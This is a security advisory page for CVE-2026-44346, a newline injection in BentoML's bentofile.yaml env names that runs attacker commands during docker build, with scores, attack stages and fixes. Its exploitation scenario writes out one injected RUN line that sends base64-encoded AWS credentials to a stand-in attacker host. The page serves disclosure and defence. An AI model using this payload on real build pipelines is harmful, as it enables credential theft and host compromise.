CVE-2026-44346: BentoML: Dockerfile injection enables build-time RCE

GHSA-w2pm-x38x-jp44 HIGH CISA: ATTEND
Published May 11, 2026
CISO Take

BentoML versions ≤1.4.38 allow an attacker to inject arbitrary Dockerfile RUN commands via a crafted bentofile.yaml by embedding newline characters in the envs[*].name field, which the Jinja2 template renders raw and unescaped into the generated Dockerfile. This is a supply-chain RCE scenario: a threat actor distributes a poisoned .bento archive, and any developer or CI/CD pipeline running bentoml containerize executes attacker-controlled shell commands with Docker build host privileges — achieving full host compromise including credential theft and container registry poisoning. With 14 prior CVEs in the same package (risk score 58/100) and this being the third incomplete fix for the same root-cause injection class (CVE-2026-33744, CVE-2026-35043), BentoML represents systemic input validation debt in your MLOps supply chain that cannot be addressed by patching alone. Upgrade to bentoml 1.4.39 immediately and audit all imported bento artifacts from untrusted or third-party sources before re-containerizing.

Sources: GitHub Advisory NVD OpenSSF ATLAS

What is the risk?

High risk (CVSS 8.8). No attacker privileges are required — the victim only needs to import and containerize the malicious artifact, making phishing or supply chain distribution trivially effective. The attack executes during the build phase, which typically holds cloud credentials, container registry tokens, and source code access. CI/CD pipelines automating bentoml containerize are especially exposed as they run without interactive inspection of generated Dockerfiles. The pattern of three successive incomplete patches for the same root-cause class strongly suggests additional sibling injection points remain undiscovered in the codebase.

How does the attack unfold?

Craft Malicious Artifact
Attacker creates a bentofile.yaml with newline-injected envs[*].name values embedding arbitrary RUN directives and packages it as a distributable .bento archive.
AML.T0011.000
Supply Chain Distribution
Attacker distributes the poisoned artifact via BentoCloud workspace sharing, a model hub, S3 bucket, or direct social engineering to reach the victim ML team's environment.
AML.T0010.001
Dockerfile Command Injection
Victim runs bentoml containerize; BentoML's Jinja2 template interpolates raw env.name values, producing injected RUN directives in the generated Dockerfile that docker build executes as shell commands.
AML.T0050
Build Host Compromise
Injected commands execute on the Docker build host with full shell access, enabling credential exfiltration from CI/CD secret stores, backdoor installation, or poisoning of downstream container registry images.
AML.T0112

What systems are affected?

Package Ecosystem Vulnerable Range Patched
BentoML pip <= 1.4.38 1.4.39
8.7K OpenSSF 6.4 21 dependents Pushed 22d ago 55% patched ~14d to patch Full package profile →

Do you use BentoML? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 24% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Unchanged
C High
I High
A High

What should I do?

5 steps
  1. Patch: Upgrade bentoml to ≥1.4.39 immediately — the fix applies bash_quote filtering to env.name in base_v2.j2 and adds schema-level regex validation.

  2. Artifact audit: Inspect bentofile.yaml in any previously imported .bento archives — grep for \n, \r, or shell metacharacters (|, ;, $, `) in envs[*].name fields before re-containerizing.

  3. Workaround (if patching is delayed): Do not run bentoml containerize on artifacts from untrusted sources; validate bentofile.yaml structure manually before execution.

  4. CI/CD hardening: Run docker build in isolated sandboxes (rootless BuildKit, ephemeral VMs) with no production credentials mounted.

  5. Detection: Audit generated Dockerfiles for unexpected RUN lines before docker build executes them; monitor for anomalous outbound network calls from build steps in build logs.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.6.2 - AI system supply chain
NIST AI RMF
GOVERN 6.2 - AI risk management for third-party and supply chain MANAGE 2.2 - Mechanisms to address third-party AI risks
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-44346?

BentoML versions ≤1.4.38 allow an attacker to inject arbitrary Dockerfile RUN commands via a crafted bentofile.yaml by embedding newline characters in the envs[*].name field, which the Jinja2 template renders raw and unescaped into the generated Dockerfile. This is a supply-chain RCE scenario: a threat actor distributes a poisoned .bento archive, and any developer or CI/CD pipeline running bentoml containerize executes attacker-controlled shell commands with Docker build host privileges — achieving full host compromise including credential theft and container registry poisoning. With 14 prior CVEs in the same package (risk score 58/100) and this being the third incomplete fix for the same root-cause injection class (CVE-2026-33744, CVE-2026-35043), BentoML represents systemic input validation debt in your MLOps supply chain that cannot be addressed by patching alone. Upgrade to bentoml 1.4.39 immediately and audit all imported bento artifacts from untrusted or third-party sources before re-containerizing.

Is CVE-2026-44346 actively exploited?

No confirmed active exploitation of CVE-2026-44346 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44346?

1. Patch: Upgrade bentoml to ≥1.4.39 immediately — the fix applies bash_quote filtering to env.name in base_v2.j2 and adds schema-level regex validation. 2. Artifact audit: Inspect bentofile.yaml in any previously imported .bento archives — grep for \n, \r, or shell metacharacters (|, ;, $, `) in envs[*].name fields before re-containerizing. 3. Workaround (if patching is delayed): Do not run bentoml containerize on artifacts from untrusted sources; validate bentofile.yaml structure manually before execution. 4. CI/CD hardening: Run docker build in isolated sandboxes (rootless BuildKit, ephemeral VMs) with no production credentials mounted. 5. Detection: Audit generated Dockerfiles for unexpected RUN lines before docker build executes them; monitor for anomalous outbound network calls from build steps in build logs.

What systems are affected by CVE-2026-44346?

This vulnerability affects the following AI/ML architecture patterns: model serving, MLOps pipelines, container build pipelines, CI/CD for AI/ML deployments.

What is the CVSS score for CVE-2026-44346?

CVE-2026-44346 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.32%.

What is the AI security impact?

Affected AI Architectures

model servingMLOps pipelinescontainer build pipelinesCI/CD for AI/ML deployments

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011 User Execution
AML.T0011.000 Unsafe AI Artifacts
AML.T0050 Command and Scripting Interpreter
AML.T0079 Stage Capabilities

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: GOVERN 6.2, MANAGE 2.2
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.

Exploitation Scenario

A threat actor targets an ML team by contributing a shared bento artifact to a BentoCloud workspace or publishing it on a model hub. The bentofile.yaml envs section contains a name field with a newline followed by a malicious RUN directive — for example: FOO\nRUN curl http://c2.attacker.com/exfil?d=$(cat ~/.aws/credentials | base64). The victim imports the artifact with bentoml import and runs bentoml containerize as part of their standard model-release pipeline. BentoML's Jinja2 template renders the env.name value raw, producing the injected RUN line in the Dockerfile. Docker BuildKit executes it during docker build, exfiltrating AWS credentials to the attacker's server. The curl command appears as a normal build step in CI/CD logs, making it easy to miss in a fast-moving delivery pipeline.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
May 11, 2026
Last Modified
May 28, 2026
First Seen
May 11, 2026

Related Vulnerabilities